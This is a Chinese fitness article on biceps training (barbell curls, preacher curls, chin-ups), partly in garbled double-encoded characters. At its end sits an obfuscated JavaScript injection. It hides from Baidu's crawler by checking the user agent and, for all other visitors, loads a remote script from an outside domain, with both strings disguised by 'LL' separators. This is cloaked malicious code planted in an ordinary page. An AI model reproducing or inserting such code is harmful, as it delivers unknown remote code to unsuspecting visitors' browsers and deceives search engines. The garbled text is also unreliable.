當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

幾個(gè)鍛煉肱二頭肌的動(dòng)作

2017-04-15 09:08:57  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):很多人羨慕健美運(yùn)動(dòng)員漂亮的身材,尤其是男性,也想擁有健康漂亮的身材,這樣大塊肱二頭肌是不能少的,想要鍛煉出現(xiàn)漂亮的大塊的肱二頭肌,

很多人羨慕健美運(yùn)動(dòng)員漂亮的身材,尤其是男性,也想擁有健康漂亮的身材,這樣大塊肱二頭肌是不能少的,想要鍛煉出現(xiàn)漂亮的大塊的肱二頭肌,細(xì)致的鍛煉時(shí)不能少的,這樣才能練出發(fā)達(dá)的肱二頭肌,這樣讓自己的身材更加好看,并且可以讓自己的男性魅力增加不少,下面就給大家介紹一下鍛煉肱二頭肌的動(dòng)作。

直立杠鈴彎舉

如果不以斜托座椅支撐,杠鈴彎舉一般采用站立形式。直立杠鈴彎舉是發(fā)展肱二頭肌的經(jīng)典動(dòng)作,各級(jí)訓(xùn)練水平都適用。

目標(biāo)鍛煉部位:重點(diǎn)鍛煉肱二頭肌內(nèi)側(cè)頭和肌腹

動(dòng)作要領(lǐng):

1.身體直立,中握距(同肩寬)正握杠鈴,垂于體前。兩上臂貼緊身體兩側(cè)、向上彎舉,注意力集中在整個(gè)肱二頭肌上,至肱二頭肌完全收緊稍停。

2.然后緩慢控制的還原,以使肘部得到完全的伸展,如果屈臂則難于刺激到嵌入肘彎的肱二頭肌下端。標(biāo)準(zhǔn)次數(shù)組應(yīng)刻意伸直胳膊;但8次以下(承重較大)為避免肘關(guān)節(jié)和肌腱無(wú)謂受傷,應(yīng)保持胳膊自然的屈伸度。

注意事項(xiàng):

1.整個(gè)運(yùn)動(dòng)的過(guò)程中保持你身體的挺直,不要前后晃動(dòng),不要借助慣性力。太重的杠鈴即使有意借力,幅度也不能太大,容易分散二頭肌受力,導(dǎo)致肌肉緊張度下降和增加下背部受傷的可能。

2.直杠彎舉與曲杠彎舉區(qū)別:

曲杠彎舉角度符合手臂的內(nèi)旋自然狀態(tài),小臂參與用力少,可保證更多負(fù)荷在肱二頭肌上,刺激作用更明顯,即旋后位比旋前位更有效鍛煉二頭肌。直杠彎舉迫使小臂一定的外旋,上舉和下放上臂和小臂都能保持持續(xù)緊張,發(fā)展肱二頭肌的同時(shí)對(duì)小臂也有促進(jìn)。

3.握距變化:寬握距主要鍛煉肱二頭肌短頭、窄握距主要鍛煉肱二頭肌長(zhǎng)頭。

4.當(dāng)杠鈴舉起時(shí)上臺(tái)肘部,可使肱二頭肌得到更好的收縮,同時(shí)鍛煉三角肌前部。

5.為使這一動(dòng)作更加精確可控,可以背靠墻,使肩胛骨緊貼在墻壁上。

斜托杠鈴彎舉

斜托杠鈴彎舉也稱牧師椅杠鈴彎舉,是單獨(dú)鍛煉肱二頭肌最好的方法,能增加肱二頭肌的厚度,使肱二頭肌更飽滿,造型更完美。

目標(biāo)鍛煉部位:肱二頭肌

動(dòng)作要領(lǐng):

1.坐在斜托凳(牧師椅)上,也可采用站姿,胸靠斜板,上臂放在斜板上,兩手反握杠鈴,臂伸直,保持身體穩(wěn)定。

2.用力將杠鈴彎舉到最高點(diǎn),稍停。

3.然后緩慢還原,注意臂應(yīng)充分伸展,動(dòng)作要慢,在杠鈴降到最低點(diǎn)時(shí)肘關(guān)節(jié)應(yīng)微屈,用力控制住杠鈴,但不要完全伸展。

注意事項(xiàng):

1.握距區(qū)別:窄握主要鍛煉肱二頭肌的外側(cè),寬握主要鍛煉肱二頭肌的內(nèi)側(cè)。只有這樣交替進(jìn)行練習(xí),手臂才會(huì)產(chǎn)生整體的飽滿度。

2.為了減小手腕關(guān)節(jié)的壓力最好選擇曲柄杠鈴,手臂向上抬起時(shí)注意身體一定要保持穩(wěn)定,避免靠身體借力。

3.最高點(diǎn)時(shí)一定要停頓,保持頂峰收縮2-3秒的時(shí)間再下落。這時(shí)你會(huì)感覺到肱二頭肌在燃燒,這樣會(huì)讓肱二頭肌得到充分的刺激。

4.當(dāng)雙臂完全伸展時(shí),托板的傾斜角度可對(duì)雙臂產(chǎn)生非常大的張力,切記正確熱身,并以適度的負(fù)荷開始練習(xí)。

反握引體向上

引體向上類型多樣,主要用來(lái)鍛煉背闊肌,但若用窄距的反握引體向上可較好的鍛煉肱二頭肌。

目標(biāo)鍛煉部位:肱二頭肌

動(dòng)作要領(lǐng):

1.準(zhǔn)備動(dòng)作:反握單杠(手心朝身體),雙手間距以舒適為宜,略窄于雙肩寬度。身體懸在單杠上,手臂伸直,雙腳在身后相互勾起。

2.訓(xùn)練動(dòng)作:緩緩屈肘,將你的身體向上拉起,直到下巴高于單杠;稍稍停頓,然后慢慢放低身體,直到手臂重新伸直;重復(fù)上述動(dòng)作。

注意事項(xiàng):

1.保持身體挺直,靜止,唯一活動(dòng)的部位應(yīng)當(dāng)只是肩膀和胳膊肘。

2.你的雙手握位越近,雙臂尤其是二頭肌,越受力。反之,你握位越寬,鍛煉的部位便從手臂移向背肌。如果你想增強(qiáng)背肌,更好的辦法是正握單杠(手背朝臉),雙手握位大于肩寬。

3.很少有人能一開始就做一二十個(gè)引體向上。你不妨盡全力做一組,甭管幾個(gè)。然后休息兩分鐘,再努力做兩組,每組能做幾個(gè)做幾個(gè)。隔幾天再做時(shí),爭(zhēng)取每組多做一次,直到能做若干組,每組六個(gè)以上。

許多喜歡健身的朋友有這樣的感覺,就是鍛煉的時(shí)候發(fā)現(xiàn)這個(gè)二頭肌發(fā)脹,但是運(yùn)動(dòng)后休息一下就沒有了,這樣天天練,也不見什么效果,建議大家可以試一試上面的方法,通過(guò)鍛煉可以讓你擁有漂亮的肱二頭肌,自己也要付出努力才能見到成效,所以大家不要松懈鍛煉。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}